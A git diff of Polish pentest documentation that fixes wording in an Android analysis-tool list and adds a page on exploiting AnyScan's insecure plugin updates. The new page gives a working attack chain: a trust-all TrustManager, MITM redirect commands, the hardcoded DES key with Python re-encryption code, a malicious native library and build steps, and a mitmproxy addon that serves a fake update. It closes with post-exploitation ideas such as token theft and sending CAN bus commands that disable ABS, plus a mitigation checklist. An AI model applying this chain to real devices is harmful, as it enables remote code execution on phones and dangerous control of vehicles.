- **Search Class Pattern**: Wyszukaj klasy według wzoru
|
||||
- **Trace Class Methods**: **Śledź** **całą klasę** (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod API Androida.
|
||||
|
||||
Gdy wybierzesz moduł pomocniczy, który chcesz użyć, musisz nacisnąć "**Start Intrumentation**" i zobaczysz wszystkie wyniki w "**Frida Live Logs**".
|
||||
Gdy wybierzesz moduł pomocniczy, który chcesz użyć, musisz nacisnąć "**Start Instrumentation**" i zobaczysz wszystkie wyniki w "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **poleceniami MobSF** i powszechnymi **poleceniami powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia:
|
||||
Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **komendami MobSF** i powszechnymi **komendami powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -620,7 +621,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
|
||||
SUPER to aplikacja działająca w wierszu poleceń, która może być używana w systemach Windows, MacOS X i Linux, analizująca pliki _.apk_ w poszukiwaniu luk. Robi to, dekompresując APK i stosując szereg reguł w celu wykrycia tych luk.
|
||||
|
||||
Wszystkie reguły są zawarte w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
|
||||
Wszystkie reguły są skoncentrowane w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
|
||||
|
||||
Pobierz najnowsze pliki binarne z [strony pobierania](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
@ -634,13 +635,13 @@ StaCoAn to **narzędzie wieloplatformowe**, które wspomaga programistów, łowc
|
||||
|
||||
Koncepcja polega na tym, że przeciągasz i upuszczasz plik swojej aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, a ona wygeneruje wizualny i przenośny raport dla Ciebie. Możesz dostosować ustawienia i listy słów, aby uzyskać spersonalizowane doświadczenie.
|
||||
|
||||
Pobierz [najowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
|
||||
Pobierz [najnowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hakerom znaleźć potencjalne luki w zabezpieczeniach aplikacji Android.\
|
||||
AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hakerom znaleźć potencjalne luki w zabezpieczeniach aplikacji na Androida.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -650,7 +651,7 @@ androbugs.exe -f [APK file]
|
||||
|
||||
**Androwarn** to narzędzie, którego głównym celem jest wykrywanie i ostrzeganie użytkownika o potencjalnych złośliwych zachowaniach rozwijanych przez aplikację na Androida.
|
||||
|
||||
Wykrywanie odbywa się za pomocą **analizy statycznej** bajtowego kodu Dalvik aplikacji, reprezentowanego jako **Smali**, z wykorzystaniem biblioteki [`androguard`](https://github.com/androguard/androguard).
|
||||
Wykrywanie odbywa się za pomocą **analizy statycznej** bajtkodu Dalvik aplikacji, reprezentowanego jako **Smali**, z wykorzystaniem biblioteki [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
To narzędzie szuka **typowych zachowań "złych" aplikacji**, takich jak: eksfiltracja identyfikatorów telekomunikacyjnych, przechwytywanie strumieni audio/wideo, modyfikacja danych PIM, wykonanie dowolnego kodu...
|
||||
```
|
||||
@ -660,7 +661,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych i specjalistów ds. bezpieczeństwa.
|
||||
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
|
||||
|
||||
Może:
|
||||
|
||||
@ -689,13 +690,13 @@ ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowani
|
||||
|
||||
Znajdź przewodnik krok po kroku, jak deobfuskować apk w [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(Z tego przewodnika) Ostatnim razem, gdy sprawdzaliśmy, tryb działania Dexguard był:
|
||||
(Z tego przewodnika) Ostatni raz, gdy sprawdzaliśmy, tryb działania Dexguard był:
|
||||
|
||||
- załaduj zasób jako InputStream;
|
||||
- przekaż wynik do klasy dziedziczącej z FilterInputStream, aby go odszyfrować;
|
||||
- wykonaj kilka bezużytecznych obfuskacji, aby zmarnować kilka minut czasu odwracającego;
|
||||
- przekaż odszyfrowany wynik do ZipInputStream, aby uzyskać plik DEX;
|
||||
- w końcu załaduj wynikowy DEX jako zasób, używając metody `loadDex`.
|
||||
- w końcu załaduj wynikowy DEX jako zasób za pomocą metody `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
@ -723,7 +724,7 @@ APKiD dostarcza informacji o **tym, jak stworzono APK**. Identyfikuje wiele **ko
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, która zawiera zbiór najnowszych frameworków, poradników i laboratoriów od różnych geeków i badaczy bezpieczeństwa do inżynierii wstecznej i analizy złośliwego oprogramowania.
|
||||
AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, która zawiera zbiór najnowszych frameworków, tutoriali i laboratoriów od różnych geeków i badaczy bezpieczeństwa do inżynierii wstecznej i analizy złośliwego oprogramowania.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -0,0 +1,124 @@
|
||||
# Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Wiele aplikacji na Androida implementuje **własne kanały aktualizacji „pluginów” lub „dynamicznych funkcji”** zamiast korzystać z Google Play Store. Gdy implementacja jest niebezpieczna, atakujący zdolny do przechwycenia ruchu może dostarczyć **dowolny kod natywny, który zostanie załadowany w procesie aplikacji**, co prowadzi do pełnego zdalnego wykonania kodu (RCE) na urządzeniu – a w niektórych przypadkach na każdym zewnętrznym urządzeniu kontrolowanym przez aplikację (samochody, IoT, urządzenia medyczne…).
|
||||
|
||||
Ta strona podsumowuje łańcuch podatności z rzeczywistego świata znaleziony w aplikacji diagnostycznej Xtool **AnyScan** (v4.40.11 → 4.40.40) i uogólnia technikę, abyś mógł audytować inne aplikacje na Androida i wykorzystać błędną konfigurację podczas zaangażowania red-team.
|
||||
|
||||
---
|
||||
## 1. Identifying an Insecure TLS TrustManager
|
||||
|
||||
1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…).
|
||||
2. Look for a **custom `TrustManager`** or `HostnameVerifier` that blindly trusts every certificate:
|
||||
```java
|
||||
public static TrustManager[] buildTrustManagers() {
|
||||
return new TrustManager[]{
|
||||
new X509TrustManager() {
|
||||
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
|
||||
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
|
||||
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||||
}
|
||||
};
|
||||
}
|
||||
```
|
||||
3. Jeśli jest obecny, aplikacja zaakceptuje **dowolny certyfikat TLS** → możesz uruchomić przezroczysty **proxy MITM** z certyfikatem samopodpisanym:
|
||||
```bash
|
||||
mitmproxy -p 8080 -s addon.py # see §4
|
||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||
```
|
||||
## 2. Inżynieria wsteczna metadanych aktualizacji
|
||||
|
||||
W przypadku AnyScan każde uruchomienie aplikacji wyzwala żądanie HTTPS GET do:
|
||||
```
|
||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
```
|
||||
Ciało odpowiedzi to **dokument XML**, którego węzły `<FileData>` zawierają **zakodowany w Base64, zaszyfrowany DES-ECB** JSON opisujący każdy dostępny plugin.
|
||||
|
||||
Typowe kroki poszukiwania:
|
||||
1. Zlokalizuj rutynę kryptograficzną (np. `RemoteServiceProxy`) i odzyskaj:
|
||||
* algorytm (DES / AES / RC4 …)
|
||||
* tryb operacji (ECB / CBC / GCM …)
|
||||
* klucz / IV zakodowany na stałe (często 56-bitowe klucze DES lub 128-bitowe klucze AES w stałych)
|
||||
2. Ponownie zaimplementuj funkcję w Pythonie, aby odszyfrować / zaszyfrować metadane:
|
||||
```python
|
||||
from Crypto.Cipher import DES
|
||||
from base64 import b64decode, b64encode
|
||||
|
||||
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
|
||||
|
||||
def decrypt_metadata(data_b64: str) -> bytes:
|
||||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||
return cipher.decrypt(b64decode(data_b64))
|
||||
|
||||
def encrypt_metadata(plaintext: bytes) -> str:
|
||||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||||
```
|
||||
## 3. Stwórz złośliwy plugin
|
||||
|
||||
1. Wybierz dowolny legalny plugin ZIP i zastąp natywną bibliotekę swoim ładunkiem:
|
||||
```c
|
||||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||
__attribute__((constructor))
|
||||
void init(void){
|
||||
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
|
||||
// spawn reverse shell, drop file, etc.
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||
```
|
||||
2. Zaktualizuj metadane JSON, aby `"FileName" : "PWNED.zip"` oraz `"DownloadURL"` wskazywały na twój serwer HTTP.
|
||||
3. Szyfruj DES-em + koduj w Base64 zmodyfikowany JSON i skopiuj go z powrotem do przechwyconego XML.
|
||||
|
||||
## 4. Dostarcz Payload za pomocą mitmproxy
|
||||
|
||||
`addon.py` przykład, który *cicho* zamienia oryginalne metadane:
|
||||
```python
|
||||
from mitmproxy import http
|
||||
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||||
|
||||
def request(flow: http.HTTPFlow):
|
||||
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
|
||||
flow.response = http.Response.make(
|
||||
200,
|
||||
MOD_XML,
|
||||
{"Content-Type": "text/xml"}
|
||||
)
|
||||
```
|
||||
Uruchom prosty serwer WWW, aby hostować złośliwy plik ZIP:
|
||||
```bash
|
||||
python3 -m http.server 8000 --directory ./payloads
|
||||
```
|
||||
Kiedy ofiara uruchamia aplikację, ona:
|
||||
* pobiera nasz sfałszowany XML przez kanał MITM;
|
||||
* deszyfruje i analizuje go za pomocą wbudowanego klucza DES;
|
||||
* pobiera `PWNED.zip` → rozpakowuje w prywatnej pamięci;
|
||||
* `dlopen()` dołączoną *libscan_x64.so*, natychmiast wykonując nasz kod **z uprawnieniami aplikacji** (kamera, GPS, Bluetooth, system plików, …).
|
||||
|
||||
Ponieważ wtyczka jest buforowana na dysku, tylna furtka **utrzymuje się po ponownych uruchomieniach** i działa za każdym razem, gdy użytkownik wybiera powiązaną funkcję.
|
||||
|
||||
## 5. Pomysły po eksploatacji
|
||||
|
||||
* Kradnij ciasteczka sesji, tokeny OAuth lub JWT przechowywane przez aplikację.
|
||||
* Zainstaluj APK drugiego etapu i cicho zainstaluj go za pomocą `pm install` (aplikacja już ma `REQUEST_INSTALL_PACKAGES`).
|
||||
* Wykorzystaj wszelkie podłączone urządzenia – w scenariuszu AnyScan możesz wysyłać dowolne **komendy OBD-II / CAN bus** (otwieranie drzwi, wyłączanie ABS, itp.).
|
||||
|
||||
---
|
||||
### Lista kontrolna wykrywania i łagodzenia (niebieski zespół)
|
||||
|
||||
* NIGDY nie wysyłaj wersji produkcyjnej z niestandardowym TrustManager/HostnameVerifier, który wyłącza walidację certyfikatów.
|
||||
* Nie pobieraj kodu wykonywalnego z zewnątrz Google Play. Jeśli *musisz*, podpisz każdą wtyczkę tym samym kluczem **apkSigning v2** i zweryfikuj podpis przed załadowaniem.
|
||||
* Zastąp słabą/wbudowaną kryptografię **AES-GCM** i rotującym kluczem po stronie serwera.
|
||||
* Waliduj integralność pobranych archiwów (podpis lub przynajmniej SHA-256).
|
||||
|
||||
---
|
||||
## Odniesienia
|
||||
|
||||
- [NowSecure – Wykryto zdalne wykonanie kodu w aplikacji Xtool AnyScan](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||||
- [Android – Niebezpieczne wzorce TrustManager](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user